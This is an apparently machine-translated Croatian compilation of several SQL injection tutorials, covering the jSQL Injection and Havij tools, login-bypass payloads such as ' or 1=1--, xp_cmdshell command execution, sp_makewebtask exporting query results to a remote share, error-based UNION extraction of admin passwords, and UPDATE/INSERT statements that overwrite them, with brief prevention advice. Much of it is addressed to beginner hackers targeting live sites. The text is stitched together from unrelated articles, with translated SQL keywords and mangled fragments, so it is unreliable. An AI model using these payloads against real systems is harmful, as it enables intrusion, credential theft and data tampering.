Upute za korištenje jSQL Injection, višenamjenskog alata za pronalaženje i iskorištavanje SQL injekcija u Kali Linuxu. SQL Injection iznutra i izvana Definiranje izlaznih stupaca

Pokrenite preuzetu datoteku dvostrukim klikom (morate imati virtualni stroj ).

3. Anonimnost prilikom provjere stranice za SQL injekciju

Postavljanje Tor i Privoxy u Kali Linuxu

[Odjeljak u razvoju]

Postavljanje Tor i Privoxy na Windows

[Odjeljak u razvoju]

Proxy postavke u jSQL Injection

[Odjeljak u razvoju]

4. Provjera mjesta za SQL ubacivanje pomoću jSQL ubrizgavanja

Rad s programom je izuzetno jednostavan. Samo unesite adresu web stranice i pritisnite ENTER.

Sljedeća snimka zaslona pokazuje da je stranica ranjiva na tri vrste SQL injekcija (informacije o njima navedene su u donjem desnom kutu). Klikom na nazive injekcija možete promijeniti korištenu metodu:

Također, već su nam prikazane postojeće baze podataka.

Možete vidjeti sadržaj svake tablice:

Obično su najzanimljivija stvar kod tablica administratorske vjerodajnice.

Ako imate sreće i pronađete podatke administratora, onda je prerano radovati se. Još uvijek morate pronaći administrativnu ploču gdje ćete unijeti te podatke.

5. Potražite administrativne panele s jSQL Injection

Da biste to učinili, idite na sljedeću karticu. Ovdje nas dočekuje popis mogućih adresa. Možete odabrati jednu ili više stranica za provjeru:

Pogodnost leži u činjenici da ne morate koristiti druge programe.

Nažalost, nema mnogo nemarnih programera koji lozinke pohranjuju u čistom tekstu. Vrlo često u retku zaporke vidimo nešto poput

8743b52063cd84097a65d1633f5c74f5

Ovo je hash. Možete ga dešifrirati korištenjem grube sile. I... jSQL Injection ima ugrađen brute forcer.

6. Brute force hashiranja pomoću jSQL Injection

Nedvojbena pogodnost je da ne morate tražiti druge programe. Postoji podrška za mnoge od najpopularnijih hasheva.

Ovo nije najviše najbolja opcija. Da biste postali guru u dekodiranju hashova, preporučuje se knjiga “” na ruskom.

No, naravno, kada nemate drugog programa pri ruci ili nemate vremena za učenje, jSQL Injection sa svojom ugrađenom brute force funkcijom će vam dobro doći.

Postoje postavke: možete postaviti koji su znakovi uključeni u lozinku, raspon duljine lozinke.

7. Datotečne operacije nakon otkrivanja SQL injekcija

Osim operacija s bazama podataka - njihovo čitanje i modificiranje, ako se otkriju SQL injekcije, mogu se izvršiti sljedeće operacije s datotekama:

  • čitanje datoteka na poslužitelju
  • učitavanje novih datoteka na poslužitelj
  • učitavanje školjki na poslužitelj

I sve je to implementirano u jSQL Injection!

Postoje ograničenja - SQL poslužitelj mora imati privilegije za datoteke. Razumni administratori sustava su ih onemogućili i imaju pristup sustav datoteka neće ga moći dobiti.

Prisutnost privilegija datoteke vrlo je jednostavno provjeriti. Idite na jednu od kartica (čitanje datoteka, stvaranje ljuske, učitavanje nove datoteke) i pokušajte izvršiti jednu od navedenih operacija.

Još uvijek vrlo važna nota- moramo znati točan apsolutni put do datoteke s kojom ćemo raditi - inače ništa neće raditi.

Pogledajte sljedeću sliku zaslona:

Na svaki pokušaj rada s datotekom dobivamo sljedeći odgovor: Nema privilegije FILE(bez privilegija datoteke). I tu se ništa ne može.

Ako umjesto toga imate drugu pogrešku:

Problem s pisanjem u [directory_name]

To znači da ste netočno naveli apsolutni put na koji želite napisati datoteku.

Da biste pogodili apsolutni put, morate barem znati operacijski sustav na kojem je poslužitelj pokrenut. Da biste to učinili, prijeđite na karticu Mreža.

Takav zapis (redak Win64) daje nam razloga za pretpostavku da imamo posla s Windows OS-om:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Veza: Keep-Alive Metoda: HTTP/1.1 200 OK Content-Length: 353 Datum: pet, 11. prosinca 2015. 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; skup znakova=UTF-8

Ovdje imamo neki Unix (*BSD, Linux):

Transfer-Encoding: chunked Datum: pet, 11. prosinca 2015. 11:57:02 GMT Metoda: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Veza: keep-alive Content-Type: text/html X- Pokreće: PHP/5.3.29 Poslužitelj: Apache/2.2.31 (Unix)

I ovdje imamo CentOS:

Metoda: HTTP/1.1 200 OK Istječe: Thu, 19 Nov 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Veza: keep-alive X-Cache-Lookup: MISS od t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS od t1.hoster.ru Kontrola predmemorije: bez pohrane, bez predmemorije, mora se revalidirati, naknadna provjera=0, prethodna provjera=0 Pragma: bez predmemorije Datum: petak, 11. prosinca 2015. 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

U sustavu Windows tipična je mapa za web-mjesta C:\Poslužitelj\podaci\htdocs\. Ali, zapravo, ako je netko "mislio" napraviti poslužitelj na Windowsima, onda, vrlo vjerojatno, ta osoba nije čula ništa o privilegijama. Stoga biste trebali početi pokušavati izravno iz direktorija C:/Windows/:

Kao što vidite, prvi put je sve prošlo dobro.

Ali same ljuske jSQL Injection izazivaju sumnje u mom umu. Ako imate privilegije za datoteke, možete jednostavno učitati nešto putem web sučelja.

8. Skupna provjera stranica za SQL injekcije

Čak je i ova funkcija dostupna u jSQL Injection. Sve je vrlo jednostavno - preuzmite popis stranica (možete uvesti iz datoteke), odaberite one koje želite provjeriti i kliknite odgovarajući gumb za početak operacije.

Zaključak iz jSQL Injection

jSQL Injection je dobar, moćan alat za pretraživanje i naknadno korištenje SQL injekcija pronađenih na web stranicama. Njegove nedvojbene prednosti: jednostavnost korištenja, ugrađene povezane funkcije. jSQL Injection može biti najbolji prijatelj početnika pri analizi web stranica.

Među nedostacima bih primijetio nemogućnost uređivanja baza podataka (barem nisam pronašao ovu funkcionalnost). Kao i svi instrumenti sa grafičko sučelje, jedan od nedostataka ovog programa može se pripisati nemogućnosti korištenja u skriptama. Ipak, u ovom programu moguća je i određena automatizacija - zahvaljujući ugrađenoj funkciji masovnog skeniranja web mjesta.

Program jSQL Injection mnogo je praktičniji za korištenje od sqlmapa. Ali sqlmap podržava više vrsta SQL injekcija, ima opcije za rad s vatrozidima datoteka i neke druge funkcije.

Zaključak: jSQL Injection - najbolji prijatelj haker početnik.

Pomoć za ovaj program u Kali Linux enciklopediji možete pronaći na ovoj stranici: http://kali.tools/?p=706

Havij je program koji provjerava ranjivosti web stranice. Najčešće se ne koristi za svoju glavnu svrhu, naime, za ubacivanje SQL injekcija. Zbog toga se alat najčešće klasificira kao "hakerski" softver.

Princip rada

Pomoću ovu aplikaciju Moguće je izvršiti napade na web servis kako bi se promijenio SQL izraz kroz spajanje. Ako je uspješno, ubrizgavanje vam omogućuje izmjenu logike izvršavanja korisničkog zahtjeva kako bi odgovarala vašim potrebama. Često se tijekom napada kreira jednostavan otisak baze podataka, nakon čega se iz nje uvoze potrebni podaci, na primjer korisnička ili administratorska baza Račun. Ako postoje ranjivosti, napadač čak može stupiti u interakciju s pozadinskim dijelom web aplikacije. Konkretno, takva implementacija omogućuje izvođenje potrebne naredbe na poslužitelju ili prikazu potrebne datoteke na strani domaćina.

Mogućnosti

Havij vam omogućuje spremanje hashova zaporki i ispisa tablica. Program vam omogućuje izvođenje različitih vrsta ubrizgavanja: SQL ubacivanje na temelju pogreške, SQL ubacivanje UNION upita, SQL ubacivanje naslaganih upita, slijepo SQL ubacivanje na temelju vremena i slijepo SQL ubacivanje temeljeno na Booleovim vrijednostima. Alat radi s HTTPS-om i podržava većinu različiti tipovi DBMS: MSaccess, MySQL, Oracle, PostgreSQ pa čak i Sybase. Ako je potrebno, Havij može raditi u više niti preko proxyja.

Sintaksa ugrađenog koda može se uređivati ​​ručno. Također, prije početka napada dopušteno vam je odabrati popis traženih ključne riječi, stupci tablice ili tipovi podataka (na primjer, cijeli brojevi ili razlomci).

Tijekom rada, Havij vodi detaljan dnevnik obavljenih operacija, koji se nakon završetka napada pohranjuje u mapu programa. Sučelje aplikacije prilično je intuitivno, a sve glavne kontrole staju u jedan prozor.

Glavne značajke

  • izvođenje SQL injekcija s potrebnom sintaksom;
  • podrška za različite mogućnosti implementacije;
  • traženje ranjivosti web stranica i aplikacija;
  • prilika za rad različite vrste DBMS;
  • podrška HTTPS protokol i punomoćnik.

SQL injection je napad koji iskorištava dinamičke SQL izjave komentiranjem određenih dijelova izjava ili dodavanjem uvjeta koji će uvijek biti istinit. Cilja rupe u arhitekturi web aplikacije i koristi SQL izjave za izvršavanje zlonamjernog SQL koda:

U ovom članku ćemo pogledati tehnike koje se koriste u SQL injekcijama i kako zaštititi web aplikacije od takvih napada.

Kako radi SQL injection

Vrste napada s kojima se može izvesti koristeći SQL-injekcije se razlikuju prema vrsti mehanizama baze podataka na koje utječe. Napad je usmjeren na dinamičke SQL izjave. Dinamička izjava je izjava koja se stvara u vrijeme izvođenja na temelju parametara iz web obrasca ili URI niza upita.

Razmotrite jednostavnu web aplikaciju s obrascem za prijavu. HTML kôd obrasca je ispod:

  • Obrazac prihvaća adresu e-pošte, a zatim se šalje lozinka PHP datoteka pod nazivom index.php ;
  • Sesija je pohranjena u kolačić. Ova je značajka omogućena označavanjem zastavice Remember_me. Post metoda se koristi za slanje podataka. To znači da se vrijednosti ne prikazuju u URL-u.

Pretpostavimo da zahtjev za provjeru korisničkog ID-a na strani poslužitelja izgleda ovako:

  • Zahtjev koristi vrijednosti polja $_POST izravno bez dezinfekcije;
  • Lozinka je šifrirana pomoću MD5 algoritma.

Pogledat ćemo napad pomoću SQL injection sqlfiddle. Otvorite URL http://sqlfiddle.com/ u svom pregledniku. Na ekranu će se pojaviti sljedeći prozor.

Napomena: Morat ćete napisati SQL izjave:

Korak 1: Unesite ovaj kod u lijevu ploču:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); umetnite u korisnike (e-mail, lozinka) vrijednosti (" [e-mail zaštićen]",md5("abc"));

Korak 2: Kliknite gumb Shema izrade».
Korak 3: Unesite donji kod u desno okno:

odaberite * od korisnika;

Korak 4: kliknite " Pokreni SQL" Vidjet ćete sljedeći rezultat:

Pretpostavimo da korisnik daje adresu e-pošte [e-mail zaštićen] i 1234 kao lozinku. Upit koji treba izvršiti na bazi podataka može izgledati ovako:

Gornji primjer koda SQL injekcije može se zaobići komentiranjem dijela lozinke i dodavanjem uvjeta koji će uvijek biti istinit. Pretpostavimo da napadač unese sljedeće podatke u polje adrese e-pošte:

[e-mail zaštićen]" ILI 1 = 1 OGRANIČENJE 1 -- " ]

i xxx u polje za lozinku.

Generirana dinamička izjava izgledat će ovako:

  • [e-mail zaštićen] završava jednim navodnikom, koji završava niz;
  • OR 1 = 1 LIMIT 1 je uvjet koji će uvijek biti istinit i ograničava vraćene rezultate na samo jedan zapis.

0; ‘ I ... je SQL komentar koji isključuje dio zaporke.

Kopirajte gornji upit i zalijepite ga u tekstualni okvir FiddleRun SQL kao što je prikazano u nastavku:

Hakerska aktivnost: SQL injekcije u web aplikacije

Imamo jednostavnu web aplikaciju dostupnu na http://www.techpanda.org/ koja je posebno napravljena ranjivom na napade SQL injekcijom za početnike u svrhu demonstracije. Gore navedeni HTML kod obrasca preuzet je sa stranice za autorizaciju ove aplikacije.

Omogućuje osnovnu sigurnost kao što je čišćenje polja e-pošte. To znači da se gornji kod ne može koristiti za zaobilaženje ovog mehanizma.

Da biste to zaobišli, možete koristiti polje za lozinku. Donji dijagram prikazuje korake koje trebate slijediti:

Pretpostavimo da napadač pruži sljedeće podatke:

Korak 1: Unesite [e-mail zaštićen] kao email adresa;
Korak 2: Unesite xxx’) ILI 1 = 1 - ] ;

Kliknite gumb "Pošalji".

Poslat će se na administrativnu ploču. Generirani upit će izgledati ovako:

Donji dijagram prikazuje kako je zahtjev generiran:

Ovdje:

  • Zahtjev pretpostavlja da se koristi md5 enkripcija;
  • Koriste se završni jednostruki navodnici i zagrade;
  • Operatoru se dodaje uvjet koji će uvijek biti istinit.

Tipično, napadači pokušavaju koristiti nekoliko različitih metoda u napadu SQL injekcijom kako bi postigli svoje ciljeve.

Ostale vrste napada SQL injekcijom

SQL injekcije mogu prouzročiti puno veću štetu od prijave u sustav zaobilaženjem mehanizma autorizacije. Neki od ovih napada mogu:

  • Izvršite brisanje podataka;
  • Izvršite ažuriranje podataka;
  • Dodajte podatke;
  • Izvršite naredbe na poslužitelju koji će preuzeti i instalirati zlonamjerne programe;
  • Izvezite vrijedne podatke, poput detalja, na napadačev udaljeni poslužitelj kreditna kartica, E-mail i lozinke.

Gore navedeni popis nije potpun. Jednostavno daje ideju o opasnostima koje predstavljaju SQL injekcije.

Alati za automatizaciju SQL injekcija

U gornjem primjeru koristili smo ručne metode napada. Prije izvođenja SQL injekcije morate razumjeti da postoje automatizirani alati koji vam omogućuju učinkovitije i brže izvođenje napada:

  • SQLSmack ;
  • SQLPing 2;
  • SQLMap.

Kako spriječiti SQL injekcije

Evo nekoliko jednostavna pravila, koji će vam omogućiti zaštitu od napada pomoću SQL injekcija:

Ne treba vjerovati korisničkom unosu. Uvijek ga treba očistiti prije upotrebe podataka u dinamičkim SQL operacijama.

Pohranjene procedure- Mogu enkapsulirati SQL upite i obraditi sve ulazne podatke kao parametre.

Pripremljeni upiti- Prvo se kreiraju upiti, a zatim se svi dostavljeni korisnički podaci obrađuju kao parametri. Ovo ne utječe na sintaksu SQL naredbe.

Regularni izrazi- može se koristiti za otkrivanje potencijalno zlonamjernog koda i njegovo uklanjanje prije izvršavanja SQL naredbi.

Prava pristupa za povezivanje s bazom podataka- za zaštititi od SQL injekcija, računima koji se koriste za povezivanje s bazom podataka treba dodijeliti samo potrebna prava pristupa. Ovo će pomoći u ograničavanju radnji koje SQL naredbe mogu izvesti na poslužitelju.

Poruke o pogreškama- ne smije se otkriti povjerljive informacije. Jednostavne prilagođene poruke o pogrešci poput " Oprostite, pojavilo se tehnička greška. Tim za podršku već je obaviješten o tome. Molimo pokušajte ponovo kasnije" može se koristiti umjesto prikaza SQL upita koji su uzrokovali pogrešku.

SQL Injection for dummies, hakiranje ASP+MSSQL

Aleksandar Antipov

Ovaj članak ne sadrži nikakve nove istine; SQL injekcija je naširoko opisana i svugdje se koristi. Članak je više namijenjen početnicima, ali možda će profesionalci moći pronaći jedan ili dva nova trika.


Ovaj članak ima za cilj pomoći početnicima da se nose s problemima na koje mogu naići pri korištenju tehnike SQL Injection, da je uspješno koriste i da se mogu zaštititi od takvih napada.

Uvod

Kada poslužitelj od interesa ima otvoren samo port 80, a skener ranjivosti ne može prijaviti ništa zanimljivo, a znate da administrator sustava uvijek vrlo brzo instalira sve zakrpe na web poslužitelju, posljednja nam je prilika web hakiranje. SQL injection je jedna od vrsta web hakiranja koja koristi samo priključak 80, a može raditi čak i s pravovremenim zakrpama. Ovaj napad više je usmjeren na web aplikacije (kao što su ASP, JSP, PHP, CGI itd.) nego izravno na web poslužitelj ili usluge u OS-u.

Ovaj članak ne sadrži nikakve nove istine; SQL injekcija je naširoko opisana i svugdje se koristi. Članak je više namijenjen početnicima, ali možda će profesionalci moći pronaći jedan ili dva nova trika. Također preporučujem da provjerite poveznice na kraju članka za detaljnije informacije od stručnjaka na tom području.

1.1 Što je SQL Injection?

SQL Injection je metoda dizajnirana za ubacivanje SQL upit ov/naredbe putem web stranica. Mnoge web stranice koriste parametre predstavljene web korisnicima i postavljaju SQL upit bazi podataka. Uzmimo za primjer slučaj prijave korisnika, kada postoji web stranica s imenom i lozinkom i kada se u bazi podataka napravi SQL upit kako bi se provjerilo postoji li registrirani korisnik s tim imenom i lozinkom. Koristeći SQL Injection, moguće je poslati izmišljeno polje korisničkog imena i/ili lozinke koje modificira SQL upit, što nam može dati neke zanimljive stvari.

2.0 Što trebamo tražiti

Pokušajte pronaći stranice koje od vas traže podatke, kao što je stranica za pretraživanje, stranica za raspravu itd. Ponekad html stranice koristite POST metodu za slanje naredbi drugome Web stranica. U tom slučaju nećete vidjeti nikakve parametre u URL-u. Međutim, u ovom slučaju možete potražiti oznaku "FORM". izvorni kod HTML stranice. Naći ćete nešto poput ovoga:



Svi parametri između

I
mogao potencijalno biti ranjiv na SQL injekciju.

2.1 Što ako ne pronađete stranicu koja koristi unos?

Potražite stranice kao što su ASP, JSP, CGI ili PHP web stranice. Pokušajte pronaći stranice koje koriste parametre poput:

3.0. Kako mogu provjeriti je li ono što sam pronašao ranjivo?

Pokušajte započeti s jednim citatom. Unesite sljedeći redak:

bok" ili 1=1--

u polju za korisničko ime ili lozinku ili čak u parametru URL-a. Primjer:

Prijava: hi" ili 1=1--
Prolaz: bok" ili 1=1--
http://duck/index.asp?id=hi" ili 1=1--

Ako ste ovo učinili sa skrivenim poljem, samo preuzmite izvorni HTML, spremite ga na svoj tvrdi disk, promijenite URL i skriveno polje u skladu s tim. Primjer:



Ako sreća bude na vašoj strani, moći ćete se prijaviti bez korisničkog imena ili lozinke.

3.1 Ali zašto " ili 1=1--?

Pogledajmo još jedan primjer koji objašnjava korisnost konstrukcije " ili 1=1--. Osim zaobilaženja registracije, možemo pogledati i dodatne informacije koje obično nisu dostupne. Razmotrite asp stranicu koja povezuje na drugu stranicu s sljedeći URL:

http://duck/index.asp?category=food

U URL-u, "kategorija" je naziv varijable, a "hrana" je vrijednost dodijeljena toj varijabli. Da biste to učinili, asp stranica može sadržavati sljedeći kod:

v_cat = zahtjev("kategorija")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
postavi rs=conn.execute(sqlstr)

kao što vidite, naša varijabla će se kombinirati s v_cat i stoga bi SQL upit trebao postati:

SELECT * FROM product WHERE PCategory="food"

Ovaj upit mora vratiti skup koji sadrži jedan ili više redaka koji odgovaraju WHERE klauzuli, u ovom slučaju "hrana". Sada promijenimo URL na sljedeći način:

http://duck/index.asp?category=food" ili 1=1--
SELECT * FROM product WHERE PCategory="hrana" ili 1=1--‘

Ovaj će upit vratiti sve retke u tablici proizvoda, bez obzira je li Pkategorija "hrana" ili ne. Dvostruka crtica "-" govori MS SQL Serveru da zanemari ostatak upita koji slijedi nakon jednostrukog navodnika ("). Ponekad dvostruku crticu možete zamijeniti oštrim "#".

Međutim, ako koristite poslužitelj koji nije SQL ili ne možete zanemariti ostatak upita, pokušajte:

" ili "a"="a

Sada će SQL upit postati:

SELECT * FROM product WHERE PCategory="hrana" ili "a"="a"

Ovaj upit će vratiti isti rezultat.

Ovisno o stvarnom SQL upitu, možda ćete morati isprobati neke od ovih mogućnosti:

"ili 1=1--
"ili 1=1--
ili 1=1--
" ili "a"="a
" ili "a"="a
") ili ("a"="a

4.0 Kako mogu daljinski izvršavati naredbe pomoću SQL injekcije?

Mogućnost unosa SQL naredbe obično znači da možemo izvršavati SQL upite po želji. Zadana instalacija MS SQL Servera radi sa sistemskim pravima. Možemo pozvati ugrađene procedure poput master..xp_cmdshell za daljinsko izvršavanje proizvoljnih naredbi:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Pokušajte koristiti dvostruke navodnike (") ako (") ne radi.

Točka-zarez će završiti trenutni SQL upit i omogućiti vam pokretanje novih SQL naredbi. Da biste provjerili je li naredba bila uspješna, možete provjeriti ICMP pakete u 10.10.1.2 da vidite sadrže li pakete s ranjivog poslužitelja:

http://site/?ID=31610

Ako ne primite nikakav ping zahtjev od poslužitelja, a primite poruku o pogrešci koja ukazuje na pogrešku dozvole, moguće je da je administrator ograničio pristup web-korisniku pohranjenim procedurama.

5.0 Kako mogu dobiti rezultate svog SQL upita?

Možete koristiti sp_makewebtask da napišete svoj zahtjev u HTML-u:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Navedeni IP mora imati mapu "share" s pristupom za sve.

6.0 Kako dohvatiti podatke iz baze podataka pomoću ODBC poruka o pogrešci?

Možemo upotrijebiti informacije iz poruke o pogrešci koju proizvodi SQL poslužitelj za dohvaćanje bilo kojih podataka. Na primjer, razmotrite sljedeću stranicu:

http://duck/index.asp?id=10

Sada ćemo pokušati spojiti cijeli broj '10' s drugim redom u bazi podataka:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Sistemska tablica INFORMATION_SCHEMA.TABLES sadrži informacije iz svih tablica na poslužitelju.

Polje TABLE_NAME očito sadrži naziv svake tablice u bazi podataka. Izabran je jer znamo da uvijek postoji. Naš zahtjev:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Ovaj upit će vratiti prvo ime u bazi podataka. Kada unioniramo ovu vrijednost niza u cijeli broj 10, MS SQL Server će pokušati pretvoriti niz nvarchar u cijeli broj. Ovo će izbaciti pogrešku govoreći da ne može pretvoriti nvarchar u int. Poslužitelj će izbaciti sljedeću pogrešku:


Sintaktička pogreška pretvaranja vrijednosti nvarchar "table1" to a column of data type int. !}
/index.asp, redak 5

Poruka o pogrešci sadrži informacije o vrijednosti koja se ne može pretvoriti u cijeli broj. U ovom slučaju dobili smo naziv prve tablice - "table1".

Da bismo dobili naziv sljedeće tablice, možemo koristiti sljedeći upit:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NOT NOT IN ("table1")--

Također možemo pretraživati ​​podatke pomoću tipke LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Pogreška Microsoft OLE DB dobavljača za ODBC upravljačke programe "80040e07" Sintaktička pogreška pretvaranja vrijednosti nvarchar "admin_login" to a column of data type int. !} /index.asp, redak 5

Odgovarajuća konstrukcija "%25login%25" bit će zamijenjena s %login% u SQL poslužitelju. U ovom slučaju dobit ćemo naziv tablice koji odgovara kriteriju "admin_login".

6.1 Kako mogu saznati sve nazive stupaca u tablici?

Možemo koristiti tablicu INFORMATION_SCHEMA.COLUMNS za prikaz svih naziva stupaca u tablici:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Pogreška Microsoft OLE DB dobavljača za ODBC upravljačke programe "80040e07"
Sintaktička pogreška pretvaranja vrijednosti nvarchar "login_id" to a column of data type int. !}
/index.asp, redak 5

Sada kada znamo naziv prvog stupca, možemo koristiti NOT IN() da dobijemo naziv sljedećeg stupca:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

Pogreška Microsoft OLE DB dobavljača za ODBC upravljačke programe "80040e07"
Sintaktička pogreška pretvaranja vrijednosti nvarchar "naziv_prijave" to a column of data type int. !}
/index.asp, redak 5

Nastavkom ćemo dobiti ostale nazive stupaca, tj. "password", "details" dok ne dobijemo sljedeću pogrešku.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

Pogreška Microsoft OLE DB dobavljača za ODBC upravljačke programe "80040e14"
Stavke ORDER BY moraju se pojaviti na popisu za odabir ako izjava sadrži operator UNION.
/index.asp, redak 5

6.2. Kako dolazimo do podataka koji su nam potrebni?

Sada kada smo identificirali neke važne tablice, možemo koristiti istu tehniku ​​za dohvaćanje informacija iz baze podataka.

Uzmimo prvi login_name iz tablice "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Pogreška Microsoft OLE DB dobavljača za ODBC upravljačke programe "80040e07"
Sintaktička pogreška pretvaranja vrijednosti nvarchar "neo" to a column of data type int. !}
/index.asp, redak 5

Sada znamo da postoji admin korisnik s korisničkim imenom "neo". Konačno možemo dobiti lozinku "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login gdje login_name="neo"--

Pogreška Microsoft OLE DB dobavljača za ODBC upravljačke programe "80040e07"
Sintaktička pogreška pretvaranja vrijednosti nvarchar "m4trix" to a column of data type int. !}
/index.asp, redak 5

Sada ćemo se moći prijaviti kao "neo" s lozinkom "m4trix".

6.3 Kako dobiti brojčanu vrijednost niza?

Gore opisana metoda ima ograničenje. Nećemo moći dobiti poruku o pogrešci ako pokušamo pretvoriti tekst koji se sastoji od broja (samo znakovi između 0...9). Sada ćemo opisati dobivanje lozinke "31173" od korisnika "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login gdje login_name="trinity"--

Vjerojatno ćemo dobiti pogrešku "Stranica nije pronađena". Razlog je što će lozinka "31173" biti pretvorena u broj, prije UNIJE s cijelim brojem (u našem slučaju 10). Budući da je izraz UNION točan, SQL poslužitelj neće generirati poruku o pogrešci, pa stoga nećemo moći dobiti numerički zapis.

Kako bismo riješili ovaj problem, možemo dodati niz brojeva na kraju s nekim slovima kako bismo spriječili pretvorbu. Izmijenjeni zahtjev:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login gdje login_name="trinity"--

Jednostavno koristimo znak plus (+) da dodamo lozinku s bilo kojim tekstom (ASSCII kodiranje za "+" = 0x2b). Zatim ćemo dodati "%20morpheus" na kraj stvarne lozinke. Čak i ako je vrijednost lozinke "31173", postat će "31173 morpheus". Ručnim pozivanjem funkcije convert() koja pokušava pretvoriti "31173 morpheus" u cijeli broj, SQL Server će izbaciti poruku o ODBC pogrešci:

Pogreška Microsoft OLE DB dobavljača za ODBC upravljačke programe "80040e07"
Sintaktička pogreška pretvaranja vrijednosti nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp, redak 5

Sada ćemo se moći prijaviti kao "trinity" s lozinkom "31173".

7.0 Kako izmijeniti/umetnuti podatke u bazu podataka?

Nakon što smo dobili imena svih po stupcima u tablici, možemo ažurirati (UPDATE) ili čak umetnuti (INSERT) novi zapis u tablicu. Na primjer, možemo promijeniti lozinku za "neo":

http://duck/index.asp?id=10; AŽURIRAJ "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Za UMETANJE novog zapisa u bazu podataka:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VRIJEDNOSTI (666,"neo2","newpas5","NA")--

Sada ćemo se moći prijaviti kao "neo" s lozinkom "newpas5".

8.0 Kako izbjeći SQL Injection?

Filtrirajte posebne znakove u svim recima u:

Svi podaci koje unese korisnik
- URL parametri
- Kolačić

Za numeričke vrijednosti, pretvorite ih u cijeli broj prije nego što ih proslijedite SQL upitu. Ili upotrijebite ISNUMERIC da provjerite je li to cijeli broj.

Pokrenite SQL Server kao neprivilegirani korisnik.

Uklonite nekorištene pohranjene procedure: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Pozdrav čitatelju. U zadnje vrijeme me zanima web sigurnost i donekle je moj rad vezan uz to. Jer Sve češće sam počeo primjećivati ​​teme na raznim forumima u kojima se tražilo da pokažu kako to sve radi, pa sam odlučio napisati članak. Članak će biti namijenjen onima koji se s tim nisu susreli, ali bi htjeli naučiti. Na internetu postoji relativno mnogo članaka o ovoj temi, ali za početnike su malo komplicirani. Pokušat ću sve opisati jasnim jezikom i detaljnim primjerima.

Predgovor

Da biste razumjeli ovaj članak, zapravo vam nije potrebno znanje SQL jezika, ali barem dobro strpljenje i malo mozga za pamćenje.

Vjerujem da samo čitanje članka neće biti dovoljno, jer... potrebni su nam živi primjeri - kao što znate, praksa u procesu pamćenja nikada nije suvišna. Stoga ćemo napisati ranjive skripte i trenirati na njima.

Što je SQL injekcija?
Jednostavno rečeno, ovo je napad na bazu podataka, koji će vam omogućiti da izvršite neku radnju koju kreator skripte nije planirao. Primjer iz života:

Otac je u poruci majci napisao da Vasji da 100 rubalja i stavi ih na stol. Prerađujući ovo u komični SQL jezik, dobivamo:
UZMI 100 RUBLJA IZ NOVČANIKA I DAJ IH Vasji

Budući da je otac loše napisao bilješku (nespretan rukopis) i ostavio je na stolu, vidio ju je Vasjin brat Petja. Petya, budući da je haker, tu je dodao "ILI Pete" i rezultat je bio sljedeći zahtjev:
UZMITE 100 RUBLJA IZ NOVČANIKA I DAJTE IH Vasji ILI Petji

Mama je, nakon što je pročitala poruku, odlučila da je jučer dala novac Vasji i dala 100 rubalja Petji. Evo jednostavnog primjera ubacivanja SQL-a iz life:) Bez filtriranja podataka (mama je jedva razumjela rukopis), Petya je zaradila.

Priprema
Za vježbu će vam trebati arhiva s izvornim skriptama za ovaj članak. Preuzmite ga i raspakirajte na poslužitelju. Također uvezite bazu podataka i postavite podatke u datoteku cfg.php

Search SQL injection

Kao što ste već shvatili, ubrizgavanje dolazi od dolaznih podataka koji nisu filtrirani. Najčešća pogreška je nefiltriranje poslanog ID-a. Pa, grubo rečeno, stavite navodnike u sva polja. Bio to GET/POST zahtjev ili čak kolačić!

Numerički ulazni parametar
Za vježbu nam treba skripta indeks1.php. Kao što sam rekao gore, u ID vijesti umećemo navodnike.

Jer Naš zahtjev nema filtriranje:

$id = $_GET["id"]; $query = "SELECT * FROM vijesti WHERE id=$id";

Scenarij će to shvatiti kao

SELECT * FROM vijesti WHERE id=1"

I javit će nam grešku:
Upozorenje: mysql_fetch_array() očekuje da parametar 1 bude resurs, booleov dat u C:\WebServ\domains\sqlinj\index1.php na retku 16

Ako se pogreška ne pojavi, mogući su sljedeći razlozi:

1.SQL injection nije ovdje - navodnici se filtriraju ili se jednostavno isplati pretvoriti u njega (int)
2. Ispis pogreške je onemogućen.

